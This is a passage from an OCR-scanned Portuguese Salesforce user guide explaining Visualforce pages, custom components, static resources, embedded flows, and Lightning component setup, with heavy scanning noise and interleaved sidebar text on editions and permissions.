guia as configuracdes de exibicao personalizada dos seus usuérios, caso isso tenha sido feito.

13. Clique em Salvar.

CONSULTE TAMBEM:

Definindo paginas do Visualforce

Excecdes ndo identificadas no Visualforce
Se uma pagina do Visualforce nao desenvolvida tiver um erro ou uma excecdo ndo identificada

e Vocé verd uma explicacdo simples do problema no Salesforce.

e Odesenvolvedor que criou a pagina receberd o erro por email com sua organizacao e ID de usudrio. Nenhum outro dado de usudrio
é incluido no relatério.

Se vocé estiver no modo de desenvolvimento, e ndo no mesmo namespace da pagina, verd a mensagem e o tipo de excecdo, além de
um aviso de que o desenvolvedor foi notificado por email.

Se vocé for o desenvolvedor e estiver no mesmo namespace da pagina, e nao estiver no modo de desenvolvimento, verd uma mensagem
de excecdo. Vocé também poderd ver uma mensagem indicando que desenvolvedor foi notificado. Se vocé estiver no modo de
desenvolvimento, vera a mensagem e o tipo de exce¢do, bem como o rastreamento de pilha do Apex.

CONSULTE TAMBEM:

Depurando o seu codigo
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Gerenciando configuragdes de versdo para as paginas e componentes personalizados do Visualforce

Para auxiliar na compatibilidade com versdes anteriores, cada pagina e componente personalizado EDICOES
do Visualforce é salvo com as configuracbes da verséo especificada da APl e também do Visualforce.
Se a pagina ou 0 componente do Visualforce fizer referéncia aos pacotes gerenciados instalados, Disponivel em: Salesforce
as configuracoes da versdo de cada pacote gerenciado mencionadas pela pagina ou componente Classic e Lightning
também serdo salvas. Isso garante que, a medida que o Visualforce, a APl e os componentes dos Experience

pacotes gerenciados evoluem para as versdes subsequentes, as paginas e os componentes do
Visualforce ainda estdo vinculados as versdes com comportamento especifico e conhecido.

Disponivel em: Edicoes
Contact Manager, Group,

Versdo do pacote é um numero que identifica o conjunto de componentes carregados em um Professional, Enterprise,
pacote. O nimero da versdo tem o formato majorNumber.minorNumber . patchNumber Performance Unlimited e
(por exemplo, 2.1.3). Os nimeros maiores e menores aumentam para um valor escolhido em toda Developer

versdo principal. O patchNumber é gerado e atualizado apenas para a versao do patch. Os
editores podem usar as versdes do pacote para evoluirem os componentes nos pacotes gerenciados
com suavidade, lancando versées subseqlientes do pacote sem romper as integragbes existentes
com clientes usando o pacote.

PERMISSOES DO

USUARIO

@ Nota: Os componentes do pacote e os componentes personalizados do Visualforce séo Para criar, editar e definir as
conceitos distintos. O pacote é composto de vérios elementos, como objetos personalizados, configuracdes da versGo

classes e acionadores do Apex e paginas e componentes personalizados. para paginas do
Visualforce:

Para definir a APl do Salesforce e a versao do Visualforce para uma péagina ou componente  “Personalizar aplicativo”
personalizado do Visualforce:

1. Edite uma pégina ou componente do Visualforce e clique em Configuragdes da verséo.
@ Nota: E possivel modificar somente as configuracées de versdo de uma péagina ou componente personalizado na guia
Configuracoes da versao ao editar a pagina ou componente na Configuracdo.
2. Selecione a Versao da APl do Salesforce. Essa também é a versdo do Visualforce usada com a pagina ou o componente.
3. (lique em Salvar.
Para definir as configuracdes da versao do pacote para uma pagina ou componente personalizado do Visualforce:
1. Edite uma pégina ou componente do Visualforce e clique em Configuragdes da versao.

2. Selecione uma Versao para cada pacote gerenciado mencionado pela pdgina ou componente do Visualforce. Essa versao do
pacote gerenciado continuard a ser usada pela pdgina ou pelo componente se forem instaladas versées posteriores do pacote
gerenciado, a menos que vocé atualize manualmente a configuragdo da versdo. Para adicionar um pacote gerenciado instalado a
lista de configuracoes, selecione um pacote nalista de pacotes disponiveis. A lista sé serd exibida se vocé tiver um pacote gerenciado
instalado que ainda ndo esteja associado a pagina ou ao componente.

3. (lique em Salvar.
Observe o seguinte ao trabalhar com as configuragées da versao do pacote:

e Sevocé salvar uma pagina ou um componente personalizado do Visualforce que faga referéncia a um pacote gerenciado sem
especificar uma versao do pacote gerenciado, a pdgina ou componente estara associado por padrao a versao mais recente instalada
do pacote gerenciado.

e Vocé nao poderd Remover uma configuracao da versdo da pagina ou do componente do Visualforce de um pacote gerenciado se
este for referenciado pela pagina ou pelo componente. Use a opcdo Mostrar dependéncias para descobrir onde o pacote gerenciado
é mencionado.
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Configuragdes de seguranca do navegador e o Visualforce

Algumas péginas do Visualforce sdo executadas a partir dos servidores * . force . com. Se vocé EDICOES
tiver definido os sites confidveis de seu navegador para incluiro *.salesforce.com,serd
preciso adicionar * . force.com alista.

Disponivel em: Salesforce

Dependendo do seu navegador e suas configuragdes, vocé podera ver um erro parecido com o Classic e Lightning
seguinte em algumas paginas: Experience

As configuragdes de privacidade de seu navegador impediram que Disponivel em: Edicoes
esta pagina exibisse algum contetdo. Para exibir esse contetdo, Contact Manager, Group,
vocé precisa alterar as configuracgdes de privacidade do seu Professional, Enterprise,
navegador de forma a permitir cookies de "terceiros" do dominio Performance, Unlimited e

mypages.nal.visual.force.com. Caso seu navegador seja o Internet Developer

Explorer, vocé também poderd adicionar
mypages.nal.visual.force.com. & lista de sites confidveis, na

padgina de opgdes de seguranca.

O Salesforce inclui um cabecalho Platform for Privacy Preferences Project (P3P) em algumas péaginas. O cabecalho é composto pelas
seguintes configuracoes:

Objetivo
CUR - As informacoes sdo usadas para concluir a atividade para as quais foram fornecidas.

Categoria
STA - Mecanismos para manter uma sessdo “stateful” com um usudrio ou automaticamente reconhecer usuarios que visitaram
determinado site ou acessaram determinado conteldo anteriormente; por exemplo, cookies HTTP.

Destinatario
OTR - Pessoas juridicas seguindo diferentes praticas. Os usuarios ndo podem optar por usé-las ou nao.

Se seu navegador estiver configurado para suportar P3P, esse cabecalho permitird a exibicao de todas as paginas do Visualforce. Para
obter mais informagdes sobre o P3P, consulte Platform for Privacy Preferences (P3P) Project.

Se seu navegador estiver configurado para bloguear cookies de terceiros e ndo usar o cabecalho P3P, vocé podera ver um erro semelhante
a0 acima, execute uma das seguintes acoes:

e Configurar P3P para seu navegador
e Alterar as configuracbes do navegador para permitir cookies de terceiros

e Adicionar o servidor adequado a lista de exce¢ao de cookies do navegador


http://www.w3.org/P3P/
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Componentes do Visualforce

O que & um componente personalizado?

O Salesforce oferece uma biblioteca de componentes padréo predefinidos, como EDICOES
<apex:relatedList> e <apex:dataTable>, que pode ser usada para desenvolver
paginas do Visualforce. Além disso, vocé pode criar seus componentes personalizados para ampliar

12 Disponivel em: Salesforce
essa biblioteca. Classic e Lightning

O componente personalizado engloba um padrdo de design comum que pode ser reutilizado em Experience

uma ou mais paginas do Visualforce. Ele consiste em: Disponivel em: Edicdes

e Um conjunto de marcacdes do Visualforce delimitado pela marca <apex: component> Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

e Um controlador de componente opcional criado no Apex habilitando o componente a executar
l6gica adicional, como classificar itens em uma lista ou calcular valores

Por exemplo, vocé deseja criar um album de fotografias usando paginas do Visualforce. Cada

fotografia no album possui sua prépria cor de borda e uma legenda de texto embaixo. Em vez de

repetir a marcacao do Visualforce requerida para exibir cada foto no &lbum, vocé pode definir um componente personalizado chamado
Fotounica que possuiatributos paraimagem, cor da borda e legenda, e depois usar esses atributos para exibir aimagem na pagina.
Uma vez definido, cada pagina do Visualforce em sua organizacéo pode aproveitar o componente personalizado Fototnica da
mesma maneira que uma pagina pode aproveitar componentes padrdo como <apex:dataTable> ou <apex:relatedList>.

Ao contrario dos modelos de pagina, que também permitem aos desenvolvedores reutilizarem marcagdes, 0s componentes personalizados
proporcionam maior poder e flexibilidade porque:

e Oscomponentes personalizados permitem aos desenvolvedores definirem atributos que podem ser passados para cada componente.,
O valor de um atributo pode mudar a forma como uma marcacao é exibida na pagina final, e a l6gica com base em controlador que
é executada para aquela instancia do componente. Esse comportamento é diferente dos modelos, que n&o possuem uma forma
de passar informacdes da pagina que usa um modelo para a prépria definicdo do modelo.

e Asdescricoes de componentes personalizados sao exibidas na caixa de didlogo de referéncia do componente do aplicativo junto
com as descricdes do componente padrao. As descricdes do modelo, por outro lado, podem somente ser usadas como referéncia
através da area Configuracao do Salesforce, porque elas sao definidas como péginas.

CONSULTE TAMBEM:
Definindo componentes personalizados do Visualforce

Exibindo e editando componentes personalizados do Visualforce
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Definindo componentes personalizados do Visualforce

Para criar um componente personalizado do Visualforce:

1.

Na Configuracdo do Salesforce, insira Componentes nacaixa Busca rapida eselecione
Componentes do Visualforce.

Clique em Novo.

Na caixa de texto Rétulo, digite o texto que deverd ser usado para identificar o componente
personalizado nas ferramentas de configuragao.

Na caixa de texto Nome, digite o texto que devera ser usado para identificar esse componente
personalizado na marcacdo do Visualforce. Esse nome pode conter somente sublinhados e
caracteres alfanuméricos, e deve ser exclusivo na sua organizagdo. Deve comegar com uma
letra, ndo incluir espagos, ndo terminar com sublinhado e nao conter dois sublinhados
CONSeCutivos.

Na caixa de texto Descricao,insiraum texto descritivo do componente personalizado. Essa
descricdo aparece na referéncia do componente com outras descricbes de componente padréo
assim que vocé clica em Salvar.

Na caixa de texto Corpo, insira a marcagéo do Visualforce para a definicdo do componente
personalizado. Um Unico componente pode conter até 1 MB de texto ou aproximadamente
1.000.000 de caracteres.
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para criar componentes
personalizados:
e "Personalizar aplicativo”

Clique em Configurag¢des da versao para especificar a versao do Visualforce e a APl usada com esse componente. Também é

possivel especificar versdes para quaisquer pacotes gerenciados instalados na sua organizagao.

Clique em Salvar para salvar as alteracdes e exibir a tela de detalhes do componente personalizado, ou clique em Gravagéo rapida
para salvar as alteragdes e continuar a editar o componente. A marcacdo do Visualforce deve ser valida para que vocé possa salvar

0 componente.

@ Nota: Vocé também pode criar um componente personalizado no modo de desenvolvimento do Visualforce adicionando uma
referéncia a um componente personalizado que ainda néo exista para a marcacao de pagina do Visualforce. Depois de salvar a
marcacao, € exibido um link de correcdo rapida que pode ser usado para criar uma nova definicdo de componente (incluindo

qualquer atributo especificado) com base no nome que vocé forneceu para o componente.

Por exemplo, se vocé ainda ndo definiu um componente personalizado chamado meuNovoComponente nem inseriu
<c:meuNovoComponente meuNovoAtributo="foo" /> namarcacao de pagina existente, apos clicar em Salvar,
uma correcéo rapida permitird que vocé defina um novo componente personalizado chamado meuNovoComponente com

a sequinte definicdo padréo:

<apex:component>

<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>

<!-- Begin Default Content REMOVE THIS -->

<hl>Congratulations</hl>

This is your new Component: mynewcomponent

<!-- End Default Content REMOVE THIS -->
</apex:component>
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E possivel modificar essa definicdo na Configuracdo inserindo Componentes na caixa Busca rapida, selecionando
Visualforce e clicando em Editar ao lado do componente personalizado meuNovoComponente.

CONSULTE TAMBEM:
O que é um componente personalizado?

O que é um componente personalizado?

Exibindo e editando componentes personalizados do Visualforce

Em Configuracdo, insira Componentes na caixa Busca rapida, selecione Componentes EDICOES

do Visualforce e clique no nome de um componente personalizado para visualizar sua definicdo.

Na pdgina de detalhes, é possivel executar as seguintes acoes: Disponivel em: Salesforce
Classic e Lightning

e (licar em Editar para editar o componente personalizado. )
Experience

e (licar em Excluir para excluir o componente personalizado.

Disponivel em: Edi¢des
Contact Manager, Group,
Professional, Enterprise,

e (licarem Onde é usado (a)? para exibir uma lista de todas as referéncias ao componente Performance, Unlimited e

personalizado em sua organizagdo. Developer

e Clicarem Clonar para criar uma cépia do componente personalizado. E necessario especificar
UM NOVO NOMe para 0 NOVO componente.

e (lique em Mostrar dependéncias para exibir os itens, como outro componente, permissao
ou preferéncia, que devem existir para que esse componente personalizado seja vélido. PERMISSOES DO

Depois de criado, é possivel exibir o componente em USUARIO

Para clonar, editar, excluir
ou definir versdes dos

componentes
personalizados:
e "Personalizar aplicativo”

http://minhainstdnciadoSalesforce/apexcomponent/nomedonovocomponente,onde o valorde
minhainstdnciadoSalesforce éonome de host de suainstancia do Salesforce (por exemplo, na3.salesforce.com)
e o valorde nomedonovocomponente é o valor do campo Nome na definicdo do componente personalizado.

O componente é exibido como se fosse uma pagina do Visualforce. Como consequéncia, se 0 seu componente contar com atributos
ou com o contetido do corpo da marca do componente, esse URL pode gerar resultados inesperados. Para testar de forma mais exata
um componente personalizado, adicione-o a uma pagina do Visualforce e exiba a pagina.

CONSULTE TAMBEM:

O que é um componente personalizado?
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Gerenciando componentes personalizados do Visualforce

Depois de criar componentes personalizados, vocé podera exibi-los, edita-los e exclui-los. Em
Configuracao, insira Componentes nacaixa Busca rapida e selecione Componentes do
Visualforce para exibir a pagina de lista Componentes, que mostra a lista de componentes
personalizados definidos para a sua organizacdo. Nessa pagina, vocé pode:

e (licarem Novo para definir um novo componente personalizado.

e (licar no nome de um componente personalizado para exibir informacées detalhadas sobre o
componente.

e (licar em Editar para modificar o nome ou a marcacao de um componente.

@ Nota: Um icone -+ indica que um componente personalizado do Visualforce estd em
um pacote gerenciado instalado. Vocé ndo pode editar nem excluir um componente
personalizado do Visualforce em um pacote gerenciado. Um icone & indica que um
componente personalizado do Visualforce em um pacote gerenciado previamente liberado
serd excluido no upload do proximo pacote. Vocé pode optar por desfazer a exclusao do
componente personalizado do Visualforce por meio da pagina de detalhe do pacote.

e (licar em Excluir para remover um componente personalizado da sua organizaco.

@ Nota: O prefixo de namespace € adicionado as classes e acionadores do Apex, componentes
e paginas do Visualforce, modelos de marca, pastas, s-controls, recursos estaticos, links da
web e tipos de relatério personalizados caso eles estejam incluidos em um pacote gerenciado.
Mas se vocé ndo tiver permissao para personalizar aplicativos, o campo de prefixo de
namespace nao sera exibido para modelos de marca, pastas e tipos de relatério personalizados.

Recursos estaticos

O que é um Recurso estatico?

Os recursos estaticos permitem carregar contelido para o qual vocé pode fazer referéncia em uma
pagina do Visualforce, incluindo arquivos (como .zip e jar), imagens, folhas de estilo, JavaScript e
outros arquivos.

E preferivel usar um recurso estatico para carregar um arquivo na guia Documentos porque:

o [ possivel organizar uma colecao de arquivos relacionados em uma hierarquia de diretdrios e
carregar essa hierarquia como um arquivo .zip ou jar.

o [ possivel fazer referéncia a um recurso estatico na marcacao da pagina pelo nome usando a
varidvel global $Resource em vez de IDs de documento embutidos em cédigo:

- Parafazerreferéncia a umarquivo autbnomo, use SResource.<nome_do_recurso>
como um campo de mesclagem, onde <nome do_recurso> é o nome especificado
quando vocé carregou o recurso. Por exemplo:
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para criar e editar
componentes
personalizados:

e "Personalizar aplicativo

"

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

<apex:image url="{!S$Resource.TestImage}" width="50" height="50"/>

ou

<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>
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- Parafazerreferéncia a um arquivo em uma pasta, use a funcao URLFOR. Especifique o nome do recurso estatico fornecido
quando vocé carregou o arquivo com o primeiro parametro e o caminho ao arquivo desejado com o segundo parametro. Por

exemplo:

<apex:image url="{!URLFOR ($SResource.TestZip,

'images/Bluehills.jpg') }" width="50" height="50"/>

ou

<apex:includeScript value="{!URLFOR (SResource.LibraryJS, '/base/subdir/file.js')}"/>

Vocé pode fazer com que caminhos relativos nos arquivos de recurso estatico facam referéncia a outro contetido dentro do arquivo.

Por exemplo: no seu arquivo CSS, de nome styles.css, vocé tem o seguinte estilo:

table { background-image: img/testimage.gif }

Ao usar esse CSS em uma pdgina do Visualforce, vocé precisa verificar se o arquivo CSS pode encontrar a imagem. Para isso, crie um
arquivo (como um arquivo zip) que inclua styles.css e img/testimage.qgif. Verifique se a estrutura do caminho esta
preservada no arquivo. Em seguida, carregue o arquivo como recurso estatico de nome “style_resources”. Depois, na sua pagina,

adicione o seguinte componente:

<apex:stylesheet value="{!URLFOR (SResource.style resources, 'styles.css')}"/>

Como o recurso estatico contém tanto a folha de estilo quanto a imagem, o caminho relativo da folha de estilo é resolvido e a

imagem é exibida.

Um Unico recurso estatico pode ter até 5 MB. Uma organizacao pode ter até 250 MB de recursos estaticos. Os recursos estaticos se
aplicam a cota de armazenamento de dados da organizacéo.

CONSULTE TAMBEM:

Definindo recursos estaticos

Definindo recursos estaticos

Para criar um recurso estatico:

1.

Em Configuracdo, insira Recursos estdticos nNacaixa Busca rapida e selecione
Recursos estaticos.

Cligue em Novo.

Na caixa de texto Nome, digite o texto que deverd ser usado para identificar o recurso na
marcagdo do Visualforce. Esse nome pode conter somente sublinhados e caracteres
alfanuméricos, e deve ser exclusivo na sua organizagdo. Deve comegar com uma letra, ndo
incluir espacos, ndo terminar com sublinhado e ndo conter dois sublinhados consecutivos.

@ Nofta: Sevocé fizer referéncia a um recurso estatico na marcacao do Visualforce e depois
alterar o nome do recurso, a marcagéo do Visualforce serd atualizada para refletir a
alteracéo.

Na édrea de texto Descricéao, especifique uma descricdo opcional para o recurso.

Ao lado da caixa de texto Arquivo, cliqgue em Procurar para navegar até uma cépia local
do recurso que deseja carregar.

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para criar recursos estaticos:

“Personalizar aplicativo”



Aprimorar o Salesforce com codigo Guia do usudrio | Componentes do Lightning, Apex,

Visualforce | 82

Um Unico recurso estatico pode ter até 5 MB e uma organizacao pode ter até 250 MB de recursos estaticos, no total.

6. Definao Controle de cache:

® Particular especificaque os dados do recurso estatico em cache no servidor do Salesforce ndo devem ser compartilhados
com outros usuarios. O recurso estatico sé é armazenado em cache para a atual sessdo do usudrio.

@ Nota: Configuracdes de cache em recursos estéticos sdo definidos como privados quando acessados por meio de um
site Force.com cujo perfil do usudrio convidado apresenta restricdes com base no intervalo de IPs ou horas de login. Sites
com restricoes do perfil de usudrio convidado armazenam em cache recursos estaticos apenas dentro do navegador. Além
disso, se um site ndo restrito anteriormente se tornar restrito, demorara até 45 dias para que 0s recursos estaticos expirem

no cache do Salesforce e nos caches intermediarios.

e Publico especifica que os dados do recurso estatico em cache no servidor do Salesforce podem ser compartilhados com

outros usudrios da organizacao para um tempo menor de carregamento.

As especificacdes do W3C sobre definicdes do campo de cabecalho trazem mais informacdes técnicas sobre o controle de cache.

@ Nota: Esse recurso sé funciona para organizagdes habilitadas pelo Sites que usam recursos estaticos.

7. Clique em Salvar.

O Cuidado: Se vocé estiver usando o WinZip, ndo deixe de instalar a versao mais recente. Versdes mais antigas do WinZip podem

causar perda de dados.

CONSULTE TAMBEM:
Exibindo e editando recursos estaticos

O que é um Recurso estatico?

Exibindo e editando recursos estaticos

Em Configuragdo, insira Recursos estdticos nacaixa Busca rapida,selecione Recursos
estaticos e clique no nome de um recurso para exibir os detalhes, incluindo o tipo de MIME, o
tamanho do recurso em bytes, além de quando ele foi criado e modificado pela Ultima vez.

Na pagina de detalhes, é possivel executar as seguintes acoes:
e (licar em Editar para editar o recurso.
e (licar em Excluir para excluir o recurso.

o C(licarem Clonar para criar uma cépia do recurso. E necessario especificar um novo nome para
0 NOVO recurso.

e (licarem Onde é usado (a)? para exibir uma lista de todas as referéncias ao recurso estatico
€m sua organizagao.

CONSULTE TAMBEM:
Definindo recursos estaticos
Gerenciando recursos estatico

O que é um Recurso estatico?

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢des
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para clonar, editar ou excluir
recursos estaticos:
e “Personalizar aplicativo”


http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9.1
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Gerenciando recursos estatico

Depois de criar recursos estaticos, vocé poderd personalizé-los, edité-los e exclui-los. Em ED|COES
Configuracdo, insira Recursos estdticos nacaixa Busca rapida eselecione Recursos
estaticos para exibir a pdgina de lista Recursos estaticos, que exibe a lista de recursos definida para

Disponivel em: Salesforce

sua organizagdo. Nessa pagina, vocé pode: Classic e Lightning
e (licar em Novo recurso estatico para definir um novo recurso estatico. Experience
e Clicarem um nome de recurso para exibir informagoes detalhadas sobre a pdgina, incluindo o Disponivel em: Edicoes
tipo e 0 tamanho do MIME. Contact Manager, Group,
e (licar em Editar ao lado do recurso para modificar o nome do recurso ou para carregar uma Professional, Enterprise,
nova versao do recurso. Performance, Unlimited e
Developer

e (licar em Excluir para remover um recurso.

@ Nota: O prefixo de namespace é adicionado as classes e acionadores do Apex, componentes PERMISSOES DO

e paginas do Visualforce, modelos de marca, pastas, s-controls, recursos estaticos, links da USUARIO

web e tipos de relatério personalizados caso eles estejam incluidos em um pacote gerenciado.

Mas se vocé ndo tiver permissdo para personalizar aplicativos, o campo de prefixo de Para criar e editar recursos
namespace nao sera exibido para modelos de marca, pastas e tipos de relatério personalizados. estdaticos:

e "Personalizar aplicativo”
CONSULTE TAMBEM:
Exibindo e editando recursos estaticos

O que é um Recurso estatico?
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Fluxos no Visualforce

Incluir um fluxo a uma pégina do Visualforce

Para personalizar a aparéncia de um fluxo ou aprimorar sua funcionalidade, integre-o a uma pagina EDlCOES
do Visualforce. Se sua organizacao tiver fluxos ativados para sites e portais, use a pagina do Visualforce
para entregar o fluxo ao site, portal ou comunidade do Force.com.

Disponivel em: Salesforce

@ Nota: Os usudrios s6 podem executar fluxos que tenham uma versao ativa. Se o fluxo que Clossi'c e Lightning
vocé incluiu ndo tiver uma versdo ativa, 0s usuarios verdo uma mensagem de erro. Se o fluxo Experience
incorporado incluir um elemento de subfluxo, o fluxo referenciado e chamado pelo elemento Disponivel em: Edicdes
de subfluxo deve ter uma versdo ativa. Enterprise, Performance,

Unlimited e Developer

Para adicionar um fluxo a uma pagina do Visualforce, integre-a usando o componente
<flow:interview>

1. Localize 0 nome exclusivo do fluxo: PER/V_USSOES DO
a. Em Configuracao, insira F1uxos nacaixa Busca rapida e selecione Fluxos. USUARIO
b. Clique no nome do fluxo que deseja incluir. Para criar, editar e definir as
configuracdes da versdo
2. Defina uma nova péagina do Visualforce ou abra uma que vocé deseja editar. para pdginas do
Visualforce:

3. Adicione o componente <flow:interview>, em algum lugarentre as marcas Y ) L,
e "Personalizar aplicativo
<apex:page>
] ] ) Para ativar, desativar ou
4. Defina o atributo name como nome exclusivo do fluxo. Por exemplo: excluir um fluxo, ou para

editar as propriedades do

fluxo:

e "Gerenciar fluxo do
Force.com”

<apex:page>
<flow:interview name="MyUniqueFlowName"/>
</apex:page>

@ Nota: Se ofluxo é de um pacote gerenciado, 0 atributo nome deve ter este formato: namespace. flowuniquename.

5. Restrinja os usuarios que podem executar o fluxo configurando a seguranca da pagina do Visualforce que o contém.

Para executar o fluxo, usudrios externos (como os de uma comunidade) precisam de acesso a pagina do Visualforce. Para executar
o fluxo, usuarios externos precisam de acesso a pagina do Visualforce e de um dos seguintes:

e Apermissdo "Executar fluxos"

e Ocampo Usuario do Force.com Flow ativado na pagina de detalhes do usudrio

6. Especifique o que acontece quando um usudrio clicaem Concluir em uma tela do fluxo configurando o comportamento de conclusao
de fluxo.

CONSULTE TAMBEM:
Seguranca de pagina do Visualforce

Guia do desenvolvedor do Visualforce: Renderizando fluxos com o Visualforce


https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/pages_flows_intro.htm
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Exemplos de redirecionamento de usuarios de fluxo de uma pagina do Visualforce

Depois que vocé incorporar um fluxo em uma pagina do Visualforce, redirecione os usuérios para EDICOES

outra tela do Salesforce quando eles clicam em Concluir. Para isso, configure o atributo

finishLocation. Disponivel em: Salesforce

@ Notfa: Vocé ndo pode redirecionar usuérios de fluxo para um URL que seja externo a sua ECIOSS'.C e Lightning
organizagao do Salesforce. xperience

Para rotear usudrios para outra pagina do Visualforce... Disponivel em: Edigdes

Enterprise, Performance,

Defina o atributo finishLocation para {!S$Page. YourPage}. =P
Unlimited e Developer

Este exemplo roteia os usuérios para a pagina inicial do Visualforce MyUniquePage.

<apex:page>
<flow:interview name="MyUniqueFlow" finishLocation="{!$Page.MyUniquePage}"/>
</apex:page>

Para rotear usudrios para um URL relativo dentro de sua organizacao do Salesforce...
Defina o atributo finishLocation para {URLFOR ('relativeURL') }.

Este exemplo roteia os usuérios para a pagina inicial do Salesforce.

<apex:page>
<flow:interview name="MyUniqueFlow" finishLocation="{!URLFOR('/home/home.jsp')}"/>
</apex:page>

Para obter mais exemplos, consulte "Configurar o atributo finishLocation em um fluxo" no Guia do desenvolvedor do Visualforce.

CONSULTE TAMBEM:
Incluir um fluxo a uma pagina do Visualforce

Guia do desenvolvedor do Visualforce: Renderizando fluxos com o Visualforce

Ativar e desativar o bate-papo nas paginas do Visualforce

Adicione um widget de bate-papo em suas paginas personalizadas do Visualforce. EDICOES

1. EmConfiguracdo, insira Configuracées de bate-papo Nacaixa Busca réapida
e selecione Configuragées de bate-papo. Disponivel em: Salesforce

2. Clique em Editar. Classic

Disponivel em: Edicdes
Group, Professional,
Enterprise, Performance,
4. Clique em Salvar. Unlimited, Contact
Manager e Developer

3. Em Configuracao do Visualforce, selecione Permitir.

Desmarque para desativar o bate-papo em paginas personalizadas do Visualforce.

Para impedir que o widget de bate-papo seja exibido em uma pagina especifica do Visualforce,
faca o sequinte:

PERMISSOES DO

e Desative o cabecalho da guia Salesforce em sua pagina, definindo < : >
G g pag apex:page USUARIO

showHeader="false”>

e Definao contentType da pigina como algo diferente de text/html, por exemplo, Para ativar o bate-papo nas
<apex:page contentType="text/plain">. paginas personalizadas do
Visualforce

e “Personalizar aplicativo”


https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/pages_flows_intro.htm
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Componentes do Lightning

Visdo geral da estrutura de componente do Lightning (beta)

A estrutura de Componente do Lightning é uma estrutura de Ul para criar aplicativos da web
dindmicos para dispositivos méveis e desktops. E uma estrutura moderna para criar aplicativos de
pagina Unica projetados para crescimento.

@ Nota: Componentes do Lightning em aplicativos independentes (recursos . app) estéo
disponiveis de forma geral. A integracdo de componentes do Lightning ao Salesforce1 estd
em uma versao beta que apresenta qualidade de producdo, mas tem algumas limitagdes.

Aestrutura oferece suporte a desenvolvimento de componentes em varias camadas particionadas,
que ligam o cliente e o servidor. Usa JavaScript no lado do cliente e Apex no lado do servidor.

H4 vérios beneficios advindos do uso da estrutura de Componente do Lightning para criar
componentes e aplicativos.

Conjunto de componentes prontos para usar
Vem com um conjunto de componentes prontos para usar, para comecar a criacdo de aplicativos.
N&o é preciso gastar tempo otimizando aplicativos para diferentes dispositivos, pois 0s
componentes ja cuidam disso.

Desempenho
Usa uma arquitetura de cliente com estado e servidor sem estado, que usa JavaScript no lado
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel para uso em:
Edicdes Contact Manager,
Group, Professional,
Enterprise, Performance,
Unlimited e Developer

Criar componentes do
Lightning usando a Ul nas
Enterprise, Performance,
Unlimited, Developer
Editions ou em um sandbox.

do cliente para gerenciar metadados dos componentes da Ul e dados do aplicativo. O cliente chama o servidor somente quando
for absolutamente necessario; por exemplo, para obter mais metadados ou dados. O servidor apenas envia os dados de que o usuario
precisa para maximizar a eficiéncia. A estrutura usa JSON para trocar dados entre o servidor e o cliente. Usa de forma inteligente o
servidor, 0 navegador, os dispositivos e a rede, para que vocé possa se concentrar na légica e nas interagdes dos aplicativos.

Arquitetura conduzida por eventos

Usa uma arquitetura conduzida por eventos para melhor desacoplamento entre componentes. Qualquer componente pode se

inscrever em um evento de aplicativo, ou um evento de componente que possa ver.

Desenvolvimento mais rapido

Permite que equipes trabalhem mais rapido com componentes prontos para usar, que funcionam com desktops e dispositivos
maveis. Criar um aplicativo com componentes facilita o design paralelo, melhorando a eficiéncia geral de desenvolvimento.

Os componentes sao encapsulados, e sua parte interna continua privada, enquanto sua forma publica pode ser vista por seus
consumidores. Essa forte separacdo dd aos criadores de componentes a liberdade de alterar os detalhes da implementacdo interna

e isola os consumidores do componente das mudancas.

Adaptacao a dispositivos e compatibilidade entre navegadores

Os aplicativos usam design responsivo e oferecem uma experiéncia agradavel ao usudrio. A estrutura de Componente do Lightning
oferece suporte para as tecnologias mais recentes de navegadores, como HTML5, CSS3 e eventos de toque.

Use o Console do desenvolvedor para criar componentes do Lightning.

CONSULTE TAMBEM:
Usando o Console do desenvolvedor
Adicionar os componentes do Lightning ao Salesforcel

https://developer.salesforce.com/docs/atlas.en-us.lightning.meta/lightning/
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Depurar codigo JavaScript

Ative 0 modo de depuragéo para facilitar a depuracdo de cédigo JavaScript em componentes do EDlCC)ES

Lightning.

Por padrao, a estrutura Componente do Lightning é executada em modo PROD. Esse modo é Disponivel em: Salesforce
otimizado para desempenho. Ele usa o Google Closure Compiler para otimizar e minimizar o Classic e Lightning
tamanho do codigo JavaScript. O nome do método e o codigo sdo muito ofuscados. Experience

Quando vocé ativa o modo de depuracao, a estrutura é executada no modo PRODDEBUG por Disponivel para uso em:
padrao. O modo ndo usa o Google Closure Compiler, de modo que o cédigo JavaScript ndo é Edicbes Contact Manager,
minimizado, sendo mais facil de ler e depurar. Group, Professional,

. . Enterprise, Performance,
Para ativar o modo de depuracao: .

Unlimited e Developer
1. Em Configuragdo, insira Componentes do Lightning nacaixa Busca rapida e

. . . Criar componentes do
selecione Componentes do Lightning.

Lightning usando a Ul nas
2. Marque a caixa de sele¢do Ativar modo de depuracéo. Enterprise, Performance,
3. (lique em Salvar. U'?',' mited, Developer

Editions ou em um sandbox.

CONSULTE TAMBEM:
Viséo geral da estrutura de componente do Lightning (beta)

https://developer.salesforce.com/docs/atlas.en-us.lightning.meta/lightning/

Adicionar os componentes do Lightning ao Salesforcel
Disponibilize os componentes do Lightning para os usuarios do Salesforcel. EDlCC)ES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel para uso em:
Edicdes Contact Manager,
Group, Professional,
Enterprise, Performance,
Unlimited e Developer

Criar componentes do
